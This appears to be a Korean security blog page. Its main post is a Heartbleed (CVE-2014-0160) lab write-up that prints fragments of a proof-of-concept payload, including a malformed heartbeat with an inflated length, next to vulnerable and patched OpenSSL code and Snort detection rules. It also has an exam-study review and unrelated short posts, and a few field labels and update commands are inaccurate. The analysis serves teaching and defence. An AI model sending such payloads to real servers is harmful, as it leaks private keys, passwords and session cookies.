시험 당일날 시험장 앞 카페에서 개인정보보호법 적용사례 상황별 맞춤 시나리오 한번 보고 들어갔습니다.

시험에는 무작정 법률 내용을 물어보는 것이 아니라, 예시를 통하여 옳고 그름을 맞추는 문제가 많이 나왔습니다.

다른 후기보면 시간이 많이 모자란다고 하는데, 저는 시간을 딱 맞췄고, 그렇게 모자라다고 느끼진 않았습니다.

따라서 공부하실 때 가이드북에 있는 예시와 위의 맞춤 시나리오를 잘 보고 가시면 문제 푸는 데 큰 도움이 될 것입니다.

법령에 있는 1~8번을 최대한 다 외워 갈려고 했으나, 다 외우면 확실히 좋겠지만, 완전히 외울 필요는 없어보였습니다.
(그렇다고 안외워서도 안되요)

대신에 좀 더 꼼꼼히 보는 것이 중요하게 느껴졌습니다.

공부를 하면서 개인정보보호 법률에 대해 많은 것을 알게되었고, 전체적인 그림을 알게 되었습니다.

자격증을 취득뿐만아니라 자신에게도 나름 도움이 되었던 것 같습니다. 아직 모르지만 추후에 업무에 적용할 수도 있겠네요.


요약

1. CPPG가이드 북 3회 정독(필수)

2. 개보법, 망법, 개보법 시행령, 망법 시행령 3회 정독(필수)

3. 안전성보호조치, 기술적 관리적보호조치 3회 정독(필수)

4. 개인정보보호법 적용사례 상황별 맞춤 시나리오 1회 정독(선택)

5. cppg 개인정보보호 바이블 CPPG PIMS 2회 정독(선택)

필수만 보셔도 합격할 수 있을 듯 하지만 선택까지하면 좀 더 확실해 질 수 있겠습니다.


※ 법령과 고시 및 기타정보는 꼭 최신 법령,버전을 확인하고 공부하셔야 합니다. 가이드북과 다른 경우가 있습니다.

※ GDPR도 한번 쓱 보고 가시면 좋습니다.


공부 많이 안한줄 알았는데 생각보다 꽤 봤네요..

많아보이겠지만 내용이 비슷비슷해서 금방금방 할 수 있을겁니다.

불합격자 수기일지도 모르겠지만 잘 참고하셔서 좋은 결과가 있기를 기대합니다. 


개인정보보호법 적용사례 상황별 맞춤 서비스 시나리오(100건).pdf

20170508_-_우리_기업을_위한_GDPR_안내서%28최종%29v2.pdf



  1. 2018.01.03 11:02

    비밀댓글입니다

  2. 김민수 2018.01.03 11:04

    안녕하세요. 글 잘읽었습니다. 저도 cppg 시험을 준비하는데 님처럼 준비해도 될까요?
    처음 공부하는 거라서요. 요약해놓으신 부분처럼 공부하고 마지막 부분에 교재는 한번 봤는데
    조금 부담스럽더라고요. 그래도 필수로 적어놓으신 부분 여러번 읽고 시나리오 정도 열심히 보려고 하는데
    이렇게 공부해도 될까요? 답변 기다리겠습니다.

    • Favicon of https://jmoon.co.kr BlogIcon JMoon1601 2018.01.08 13:21 신고

      기본적으로 요약에 있는 부분만 해도 합격하시는 분이 있고 못하시는 분이 있을 수 있습니다. 현재 자신의 역량은 자신이 가장 잘 알기때문에 그에 맞게 공부량을 조절하심이 좋아보입니다.
      법령에 있는 1. 2. 3. 번을 안보고 다쓸 수 있으면 베스트지만 딱 봤을 때, 어디가 이상한지 눈치챌정도는 필요하다고 생각합니다.

    • 아이바 2018.01.10 21:58

      답변해주셔서 감사합니다.
      여러번 보고 성실히 공부해봐야 겠네요.

  3. Jihwan 2018.12.13 16:07

    항상 블로그글 잘보고 갑니다 . 해당글에서 궁금한게 있어 댓글남깁니다 . CPPG 가이드북은 어디서 구할수있는지 알려주실수있나요 ?

[CVE-2014-0160] OpenSSL 취약점 HeartBleed 실습 및 분석 


※하트블리드(HeartBleed)는 2014년 4월에 발견된 오픈 소스 암호화 라이브러리인 OpenSSL의 소프트웨어 버그이다. 발표에 

따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 이 공격으로 개인키, 세션 쿠키 및 암호를 훔칠 수 있

다고 하였다.

OpenSSL은 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 구현판이다. C언어로 작성되어 있는 

중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어있다. 거의 모든 버전의 유닉스 계열 운영

체제 및 OpenVMS, 윈도우에서 사용할 수 있다.

하트블리드(HeartBleed)가 발생하는 부분은 전송 계층 보안(TLS) 및 데이터그램 전송 계층 보안(DLTS) 프로토콜의 하트비트에

서 발생한다.

하트비트는 2012년 2월 출판된 RFC 6520이 지정하여 제안된 표준이다. 이 하트비트의 기능은 매번 연결을 재협상하지

않아도 안전한 통신 연결을 테스트하고 유지시키는 방법을 제공한다. (좀 편하게 쓸려했더니 취약점이..)

간단히 말해 하트비트는 서버와 클라이언트 사이에 문제가 없는지, 안정적인 연결을 유지하기 위한 목적으로 일정 신호를 주

고 받을 때 사용하는 확장 규격이다.

하트비트는 2011년 뒤스부르크-에센 대학교의 박사과정을 밟던 학생인 로빈 세글먼이 OpenSSL의 하트비트 확장을 구현하였다.

세글먼 OpenSSL에 자신이 만든 결과물인 하트비트를 넣어달라는 요청을 보냈고, OpenSSL의 소속의 핵심 개발자중 한명인

스티븐 N.헨슨이 하트비트를 검토하기에 이르렀다. 헨슨은 세글먼의 구현체 안에 있던 버그를 알아채지 못했고, 

취약한 코드가 OpenSSL의 소스 코드 저장소에 2011년 12월 31일에 들어가게 되었다. 이 취약점이 있는 코드는 

2012년 3월 14일 OpenSSL 버전 1.0.1 출시와 더불어 널리 이용되었다. 하트비트 지원은 기본적으로 활성화되어 있고, 

이에 따라 영향을 받는 버전들은 기본적으로 취약성에 노출되었다.


하트블리드의 영향을 받는 OpenSSL의 버전은 다음과 같다.

· OpenSSL 1.0.1 ~1.0.1f(inclusive)

· Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
· Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
· CentOS 6.5, OpenSSL 1.0.1e-15
· Fedora 18, OpenSSL 1.0.1e-4
· OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
· FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
· NetBSD 5.0.2 (OpenSSL 1.0.1e)
· OpenSUSE 12.2 (OpenSSL 1.0.1c)

※ CVE-2014-0160용 운영체제 패치가 설치되지 않은 경우, 라이브러리 버전은 변경되지 않는다. 우분투, 리눅스 민트와 같은

파생 계열을 아우르는 데비안, 또는 오븐수세나 FreeBSD, 레드햇 엔터프라이스 리눅스(CentOS, 아마존 리눅스등의 파생 계열

포함)가 이에 해당된다.

참고 : https://ko.wikipedia.org/wiki/%ED%95%98%ED%8A%B8%EB%B8%94%EB%A6%AC%EB%93%9C




원리


[ 정상적인 요청과 반환 값 ]



[ [Payload 길이 조작하여 정보유출 ]


하트블리드의 취약점의 원리는 위와 같이 나타낼 수 있다. 비유를 하자면 정상적인 경우에 

Client가 사과박스에 사과 하나를 넣고 하나를 넣었다는 정보와 함께 보내면 서버는 받아서 사과 한개를 받았다고 Client에게 

응답합니다. 하지만 HeartBleed의 경우에는 Client가 사과 박스에 사과 하나를 넣고 열개를 넣었다는 정보와 함께 보내면 

Server는 받아서 사과 1개를 확인하고, 나머지 9개를 자신이 가지고 있는 사과를 합하여 Client에게 보내게 됩니다.

나머지 9개의 사과에서 정보가 유출이 된다.

HeartBleed의 취약점은 한번에 최대 64KB의 정보를 요청할 수 있다. 실제로 64KB는 매우 작은 크기기 때문에 한번에 원하는 

정보를 얻기는 힘들다. 따라서 여러번, 지속적으로 시도하여 여러개의 정보를 획득하고 조합하면 의미있는 정보를 얻게 될 수 

있다. 이러한 과정을 통하여 공격자는 피해자의 컴퓨터에 저장되어 있는 정보들을 유출시킬 수 있다. 

이 정보들에는 세션값, ID, PW, 쿠키등이 포함될 수 있다. 특히 개인키의 경우 암호화하여 전달되는 모든 데이터를 

열 수 있기때문에 매우 심각할 수 있다.

참고 : http://blog.alyac.co.kr/76




실습

실습 환경은 다음과 같다.

OS : CentOS 6.5 minimal

Web Server : apache/2.2.15(Unix)

openSSL : OpenSSL 1.0.1e-fips 11 Feb 2013

XE : XE Core 1.7.3.4

공격자 : 윈도우


하트블리드 실습을 위해서 많은 OS를 깔았다 지웠다 했다 우분투 12.04.5, 우분투 12.04.3, 우분투 14.04등을 설치 하였는데, 

OpenSSL version을 확인하였을 때, 분명 취약한 버전이었는데도 하트블리드의 취약점이 나오지 않았다. 

마지막 시도로 CentOS 6.5에 설치되어있는 OpenSSL을 사용했더니 잘 되었다.

VMware를 사용하여 CentOS올리는 방법과 Apache, XE 설치하는 방법은 따로 기술하지 않겠다.

다만 VMware를 통해 CentOS를 올리고 나서 yum update등을 하지않고 그대로 apache를 설치하였고, XE는 Zip파일로

다운받아서 설치하였다.

OpenSSL 적용방법은 아래 블로그를 참고하였다.

http://egloos.zum.com/guswl47/v/6514311

위 블로그에서 6번에 hello.co.kr는 적용 안했는데도 잘 동작하였다.

OpenSSL 적용과 XE를 잘올렸다면 위와같이 나올 것이다.

Https입력했는데 안전하지 않음이 떠도 실습해볼 수 있다. 오른쪽에 세션값인 pig4~가 있는것을 확인 할 수 있다.



heartbleed POC코드나 익스플로잇코드를 실행시키면 위와 같이 내용이 나오는 것을 확인할 수 있으며, 

PHPSESSID값도 나오고 일치하는 것까지 확인할 수 있다. 

※ 바로 안나올 수 있다. 몇번 더 실행시키면 나올 것이다.

간단하게 Heartbleed이 되는 것을 실습해보았다.






공격 소스 분석

아래는 하트블리드 POC 소스코드중 일부이다.

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')



16 : Handshake 
03 02 : TLS version 1.1
00 dc : Length 
첫 줄의 메시지는 SSL Handshake를 가르키면, 프로토콜버전과 길이를 정한다.

01  : HandShake
00 00 d8 : TLS version 1.1
03 02 : Length
이어서 어떤 타입의 HandShake인지 정의하고, 길이와 버전을 알려준다.

53 43 5b 90 : Timestamp
9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de : Random Bytes
유닉스 타임스탬프와 무작위로 생성된 28바이트 길이의 값이 들어가있다.

00 : Length of session id
세션 식별자의 길이에 대한 정보가 담겨있는 필드이다. 보통 브라우저가 최근 서버에 방문해 이전 세션을 이어가기 위해 Abbreviated Handshake를 할 때 사용한다고 한다.

00 66 : Length of cipher suites
c0 14 c0 0a c0 22 ~~~ 00 06 00 03 00 ff : Cipher suites
다음 클라이언트에서 지원하는 암호방식의 리스트 메시지에 대한 길이와 해당 메시지가 작성되어 있다. 각각의 암호 방식은 2바이트로 작성되어있다. 가장 앞에 등장한 c0 14는 암호방식 중 TLS_CE_DHE_RSA_WITH_AES_256_CBC_SHA를 의미한다.

01 : Length of compression methods
00 : Compression method NULL( ie no compression)
뒤에 나오는 필드는 압축에 관련되어있는 필드이다. 마찬가지로 압축 방법에 대한 필드의 길이와 압축 방법에 대한 정보에 대해 정의되어 있다. 여긴 00으로 압축 하지않는다.

00 49 : Length of TLS extensions
추가 확장에 관련된 정의. 다른 필드와 같이 길이에 대한 정의로 시작.

00 0b 00 04 03 00 01 02 : Eliptic curve point formats extension
00 0a 00 34 00 32 00 ..... 00 10 00 11 : Elliptic curve
그 중 첫 두가지의 확장 Elliptic-curve cipher에 관련하여 정의했다.

00 23 00 00 : TLS session ticket 
그 다음 TLS 세션 티켓 확장 모듈을 지원한다는 것을 알려준다.

00 0f 00 01 01 : Heartbeat extension 
TLS하트비트 확장을 지원한다는 것을 정의

여기까지가 Client Hello 메시지에 대한 내용이다. 서버에게서 Hello done 응답 메시지를 받으면 하트비트 요청 메시지를 작성하게 된다.


hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')


18 : TLS record is a heartbeat
03 02 : TLS version 1.1
첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알려준다.


00 03 : Length
01 : Heartbeat request
다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시한다.

40 00 : Payload length(16384bytes) // 16진수로 4000은 16384이다.
이 부분이 공격의 핵심이다. payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않는다.

기존에 설명했듯이 이 값에 의해 해당 바이트 만큼의 서버 메모리에 있는 정보를 응답으로 되돌려 받는다.

마지막으로 이 파이썬 코드에서는 되돌려받은 메시지를 헥사 덤프로 화면에 출력을 해주게 된다.

참고 : http://blog.yoko.so/entry/%ED%95%98%ED%8A%B8%EB%B8%94%EB%A6%AC%EB%93%9C-%EA%B3%B5%EA%B2%A9%EA%B3%BC-%EB%B0%A9%EC%96%B4




OpenSSL 취약지점 분석 

POC 코드에서는 Payload의 길이를 조작하여 공격하는 것을 알 수 있었다. 그렇다면 openssl의 소스코드에서 어떻게 동작해서 

취약한지 확인해보자.

openssl-1.0.1e.zip

ssl > d1_both.c 

dtls1_process_heartbeat(SSL *s)
	{
	unsigned char *p = &s->s3->rrec.data[0], *pl;
	unsigned short hbtype;
	unsigned int payload;
	unsigned int padding = 16; /* Use minimum padding */

	/* Read type and payload length first */
	hbtype = *p++;
	n2s(p, payload);
	pl = p;

* p = $s -> s3 -> rrec.data[0]
서버가 클라이언트에서 하트비트 요청을 받으면 위의 rrec.data라는 버퍼에 요청 메시지가 저장된다.
이 메시지 형식은 type필드 (1바이트) payload_length필드(2바이트), payload필드(payload_length바이트), padding필드(16바이트)로 정의된다. 응답 메시지도 똑같다.

hbtype = *p++;
이어서 요청 메시지의 type필드를 hbtype 변수에 저장

n2s(p,payload);
payload_length 필드를 payload 변수에 저장

pl = p;
payload 필드의 시작 주소를 pl 포인터에 저장



	if (hbtype == TLS1_HB_REQUEST)
		{
		unsigned char *buffer, *bp;
		int r;

		/* Allocate memory for the response, size is 1 byte
		 * message type, plus 2 bytes payload length, plus
		 * payload, plus padding
		 */
		buffer = OPENSSL_malloc(1 + 2 + payload + padding);
		bp = buffer;
		*bp++ = TLS1_HB_RESPONSE;
		s2n(payload, bp);
		memcpy(bp, pl, payload);

buffer = OPENSSL_malloc(1+2+payload+padding);
1(type필드의 길이) + 2 (payload_length필드의 길이) + payload(요청 메시지 payload_length필드의 값) + padding(16바이트)
를 buffer로 확보한다.

bp = buffer;
할당 받은 메모리의 처음 어드레스를 bp 포인터로 설정 

*bp++ = TLS_HB_RESPONSE;
type 필드로 TLS1_HB_RESPONSE를 저장

s2n(payload,bp);
payload_length 필드로 payload 변수의 값( 요청 메시지 payload_length 필드의 값)을 삽입

memcpy(bp,pl,payload);
memcpy함수에서 pl포인터 (요청 메시지의 payload 필드)에서 payload변수의 값(요청 메시지 payload_length필드의 값)만큼 복사. 나머지는 패딩으로 16바이트 추가하고 응답 메시지를 회신


여전히 소스코드가 어려워 보이지만, 큰 문제는 없어보입니다만. 위의 POC코드와 취약점대로 payload 필드가 짧음에도 불구하고 payload_length필드에 큰 값을 넣는다고 가정해봅시다. 예를 들어 요청 메시지 payload_length필드가 1000바이트, payload필드가 hi(2바이트)이라고 가정하에 위의 소스코드대로 처리해보자.


dtls1_process_heartbeat(SSL *s)
	{
	unsigned char *p = &s->s3->rrec.data[0], *pl;
	unsigned short hbtype;
	unsigned int payload;
	unsigned int padding = 16; /* Use minimum padding */

	/* Read type and payload length first */
	hbtype = *p++;
	n2s(p, payload);
	pl = p;
payload 변수의 값은 1000바이트 pl 포인터에 "hi"의 시작 주소를 가르킴. 

	if (hbtype == TLS1_HB_REQUEST)
		{
		unsigned char *buffer, *bp;
		int r;

		/* Allocate memory for the response, size is 1 byte
		 * message type, plus 2 bytes payload length, plus
		 * payload, plus padding
		 */
		buffer = OPENSSL_malloc(1 + 2 + payload + padding);
		bp = buffer;
		*bp++ = TLS1_HB_RESPONSE;
		s2n(payload, bp);
		memcpy(bp, pl, payload);

다음은 응답 데이터를 위한 메모리로 buffer에  1+ 2 + 1000 + 16이 확보된다.

bp = buffer;
할당받은 buffer의 처음 어드레스를 bp 포인터로 지정

s2n(payload,bp);
응답 메시지의 payload_length 필드에 1000이 포함

memcpy(bp,pl,payload);
memcpy()함수를 이용해 pl 포인터에서 1000바이트를 payload필드에 복사하고 pl 포인터가 가르키는 메모리는 "hi" 2바이트로 pl 포인터가 가르키는 2바이트를 제외한 998바이트가 통신과 관계없는 메모리의 정보가 포함된다.


※ 하트블리드의 취약점으로 정보가 유출되는 크기는 64KB라고 하였다. 여기서 그 이유를 알 수 있는데, payload_length필드는 2바이트이다. 2바이트는 최대 65535바이트를 지정할 수 있기때문에 최대 64KB까지 정보가 유출이 되는 것이다.
(2^16)

참고 : http://manseok.blogspot.kr/2014/04/openssl-heartbleed.html




취약버전 확인

그럴리는 없겠지만 자기자신의 Openssl이 취약한지 알아보는 방법이다.

# OpenSSL version

OpenSSL version을 확인하여 취약한 버전인지 확인.


# openssl s_client -connect IP:443 -tlsextdebug -debug -state | grep -i heartbeat

위의 명령어를 통하여 Heartbeat가 활성화 되어있는지 확인
Heartbeat가 활성화되어 있다면 heartbeat 문자열이 보임.
활성화되어 있지않다면 보이지않음.


소스코드 확인


/* ssl/d1_both.c */ dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ /* Read type and payload length first */ hbtype = *p++; n2s(p, payload); pl = p;


위와 같이 따로 사용자 요청 메시지에 대한 길이를 검사하는 코드가 없을 경우




취약점 보안 방법 및 보안 패치 코드

openssl-1.0.2l.zip


/* ssl/d1_both.c */
int dtls1_process_heartbeat(SSL *s)
{
    unsigned char *p = &s->s3->rrec.data[0], *pl;
    unsigned short hbtype;
    unsigned int payload;
    unsigned int padding = 16;  /* Use minimum padding */

    if (s->msg_callback)
        s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                        &s->s3->rrec.data[0], s->s3->rrec.length,
                        s, s->msg_callback_arg);

    /* Read type and payload length first */
    if (1 + 2 + 16 > s->s3->rrec.length)
        return 0;               /* silently discard */
    if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)
        return 0;               /* silently discard per RFC 6520 sec. 4 */

    hbtype = *p++;
    n2s(p, payload);
    if (1 + 2 + payload + 16 > s->s3->rrec.length)
        return 0;               /* silently discard per RFC 6520 sec. 4 */
    pl = p;

취약점이 패치된 소스코드를 보면 길이에 대한 검증값이 추가 된 것을 알 수 있다.


최신버전으로 업데이트

-(CentOS/Fedora)전체 시스템 업데이트
    yum update

·OpenSSL 업데이트
    sudo pacman -Syu

- (Ubuntu) 전체 시스템 업데이트
    sudo apt-get update
    sudo apt-get dist-upgrade

    ·OpenSSL 업데이트
        sudo apt-get install --only-upgrade openssl
        sudo apt-get install --only-upgrade libssl1.0.0


여러 사정때문에 업데이트가 어려운 경우, HeartBeat 옵션을 사용하지 않도록 컴파일 옵션을 설정해 재컴파일 가능
    OpenSSL 소스코드를 처음 다운받아 컴파일하는 경우 라이브러리 의존성문제가 발생해 추가적인 작업이 발생할 수 있음.
    ./config -DOPENSSL_NO_HEARTBEATS
    make depend
    make
    make install

서버측 SSL 비밀키가 유출되었을 가능성이 있기때문에 인증서를 재발급 받는 것을 추천

취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용하지 않도록 방지하는 것도 고려


참고 : [KISA] OpenSSL 취약점(HeartBleed) 대응 방안 권고.pdf




네트워크 패킷 및 Snort 탐지 Rule 

공격 소스에 있던 hello 변수의 값이 보내진 것을 확인할 수 있다.

16 03 ~~~~ 



그리고 하트비트가 활성화된것을 확인했다면 길이값을 변조하여 패킷을 보낸다.

18 03 ~~ 




그리고 서버는 그 길이만큼 값을 클라이언트에게 노출이 되는 것을 확인할 수 있다.




Snort로 HeartBleed발생시 로그 남기기


KISA에서는 HeartBleed 취약점 탐지 Snort Rule을 아래와 같이 공지하고 있다.

alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2”; sid: 1;) alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1 Malicious Heartbleed Request V2"; sid: 2;) alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1.1 Malicious Heartbleed Request V2"; sid: 3;)

Snort Rule을 보면 와이어샤크로 패킷을 보낼때의 값을 체크하여 alert하는 것을 확인할 수 있다.  

위의 취약한 서버에서 Snort를 깔아서 Alert이 남는거까지 해보도록 한다.

※ Snort 설치 참고 : http://vmos.tistory.com/5

설치는 위의 블로그를 통하여 설치를 진행하며 

snort에서 지원하는 룰셋을 다운받아 적용을 해도되나, KISA에서 권고한 룰만 가지고 알람이 오게 해보겠다.

local.rules에 위와같이 룰을 넣는다.


snort 실행


Heartbleed 공격시도 



snort 종료


/var/log/snort/alert 경로에

메시지를 포함하여 로그가 남은 것을 확인 할 수 있다.


참고 : [KISA] OpenSSL 취약점(HeartBleed) 대응 방안 권고.pdf



[KISA]_OpenSSL_취약점(HeartBleed)_대응_방안_권고.pdf


localhost/WebGoat/Attack

->

localhost./WebGoat/Attack


localhost 뒤에 ' . ' 하나 붙이면 burp suite에서 localhost를  Intercept 가능함.





디스크 사용량을 GUI로 확인해주는 툴 SpaceSniffer

spacesniffer_1_3_0_2.zip


https://spacesniffer.en.softonic.com/?ex=DSK-173.4



신입대상 정보보안(해킹) 윤리/소양교육 자료


이번에 신입대상으로 정보보안(해킹) 윤리/소양교육자료를 제작했습니다.

봄내음이 가득하게 만들었어요~


기존에 만들어져 있는 정보보안(해킹) 윤리/소양교육에 대한 자료를 도저히 찾을 수가 없어서 마음대로 만들었습니다.

내용중 틀린 내용이 있을 수 있고, 구두로 설명한 부분이 꽤 많아 미흡한 교육자료입니다.

혹시 다른 곳에서 교육을 할려고하는데 참고가 되었으면해서 포스팅합니다.

사용시 꼭 "출처"를 남겨주시고 상업적 용도로 사용하시면 안됩니다.

유용하게 사용하셨으면 댓글도 달아주시면 뿌듯할 듯 싶습니다...ㅎㅎ

틀린 내용 지적도 환영합니다. 


정보보안(해킹) 윤리 소양교육.pdf




ppt 테마 출처 : http://blog.naver.com/PostView.nhn?blogId=hun1188&logNo=220675948292&parentCategoryNo=&categoryNo=29&viewDate=&isShowPopularPosts=true&from=search

가비아(Gabia) 도메인을 티스토리(Tstory) 기본주소 대신 사용하기


티스토리 블로그를 사용하면 기본적으로 아래와 같은 도메인을 가지게 된다.


XXXXX.tistory.com

가비아등 대행업체를 통하여 도메인을 구입했다면 해당 도메인으로 접속시 Tistory블로그를 보이게 설정 할 수 있다.



jmoon.co.kr

위와 같이 구매한 도메인으로 접속하면 블로그가 나오게 된다.





가비아기준으로 설명을 하겠다. 다른 대행업체에서도 유사한 방법으로 하면 될 듯 싶다.
My가비아에서 구매한 도메인중에서 연결하고 싶은 도메인에서 서비스 정보로 들어간다.




오른쪽 하단에 부가서비스가 있고 네임플러스 서비스를 볼 수 있을 것이다.
필자는 지금 해둔상태라서 사용이라고 되어있는데 아마 X미사용으로 표시될텐데 관리를 눌러서 진입한다.
필자가 작성할 때에는 비용이 무료였다.




CNAME 정보 관리에 호스트 이름 (별칭)에 host.tistory.io. 를 넣어주면 된다.
혹은 블로그 연결로 바로 설정해주는 단계가 나올 수 있는데 그때 원하는 블로그를 지정해주고 설정해주면 자동으로 해준다.




그리고 설정을 했다면 티스토리 관리 -> 환경 설정 -> 기본정보에서 주소설정을 2차주소와 도메인을 입력한다.



간단한 설정으로 도메인을 티스토리 블로그로 연결시킬 수 있다.
그리고 가비아에서는 기본적으로 블로그와 연동할 수 있게 지원해주고 있으므로 위와 같은 방법이 아닌 다른 방법,
더 쉬운 방법으로도 연결 할 수 있다.

이 설정을 하여도 기존의 XXX.tistory.com으로도 접속이 가능하다. 








사물인터넷(IoT)과 보안


  200977일에 최대 2.5Gbps(Gigabit per second) 트래픽을 발생하는 DDoS (Distributed Denial of Service : 분산서비스거부공격) 공격이 발생하였다. 이 사건은 7.7 DDoS 대란으로 불렸으며 농협, 네이버 등 목표가 된 사이트가 수 시간 마비가 되어 많은 불편을 겪었다. 국회입법조사처에서 발행한 현안 보고서 제48호인 ‘7.7DDoS 사고 대응의 문제점과 재발 방지 방안에 따르면 7.7 DDoS 대란을 금전적인 피해로 환산하였을 때 대략 400억 정도로 추산하였다. 2008년 풍수해 피해액이 580억 원인 것을 고려하면 절대 적지 않은 금액이다.  
  2017년에 들어 최대 400Gbps 트래픽을 유발하는 새로운 DDoS 공격이 발견되었다. 새로운 DDoS 공격의 원리는 사물인터넷(이하 IoT)을 이용하여 트래픽을 극대화한 공격이다. 이렇듯 시시각각 커지는 IoT의 위협 속에도 우리는 아직 IoT 보안에 대해 소홀하다.
  현대경제연구원이 발표한사물인터넷(IoT)관련 유망산업 동향 및 시사점보고서에 따르면 2015년 기준으로 IoT로 연결되는 스마트 홈 관련 기기 수는 703만대이며, 미국의 정보 기술 연구 및 자문 회사인 가트너가 2020년에 예상하는 IoT의 수는 64억 개에 이를 것으로 전망했다. 이는 전 세계에 있는 휴대폰 대수보다 많은 양이다.
  수많은 IoT가 악의적인 목적으로 해킹을 당해서 특정 홈페이지나 금융 전산망을 공격하게 되면 어떻게 될 것인가? 기존의 DDoS 공격과는 차원이 다른 공격이 이루어질 것이고, 피해 또한 막심할 것이다. IoT로 인한 DDoS 공격의 피해는 고스란히 사용자에게 되돌아간다. 결과적으로 보안이 적절히 적용되지 않은 IoT를 쓴다면 사용자는 가해자이자 피해자가 되는 것이다.
  대기업은 IoT를 이용한 제품을 상용화하기 시작했으며, 광고도 심심하지 않게 볼 수 있다. 그만큼 우리 생활에 밀접하게 있으며 앞으로도 더 많은 IoT의 혜택을 누릴 것이다. 하지만 우리 실생활에 밀접하게 있다는 건 사이버공간의 위험이 실생활의 위험으로도 확대될 수 있다는 말이다. 실제로 보안업체인 원 월드 랩(One World Labs)이 가정에 설치된 와이파이(WiFi)로 연결된 오븐을 통해 전력 공급을 제어하는 것을 시연해 보기도 하였다. 이를 통해 실제 사건으로 일어나는 건 시간문제라고 볼 수 있다. IoT를 이용한 공격은 기업과 정부, 금융만 목표가 되는 것이 아니라 개인도 목표가 될 수 있으므로 경각심을 가지고 IoT 제품을 꼼꼼히 따져 구매하고, 보안업데이트를 주기적으로 해야 한다.  
  “소 잃고 외양간 고친다라는 속담은 아주 유명하다. 이때까지 정보보안 사고의 사례 중 대다수가 보안사고가 일어나야 취약한 부분을 보강한다거나 법률로 제정하는 것을 보면 이 속담이 정말 잘 들어맞는다. 똑같은 실수를 반복하지 않기 위해서는 보안사고가 일어나기 전부터 기업과 정부뿐만 아니라 개인들도 보안에 관심을 가지고 준비를 하여 만일의 사태에 대해 대비해야 할 것이다.

+ Recent posts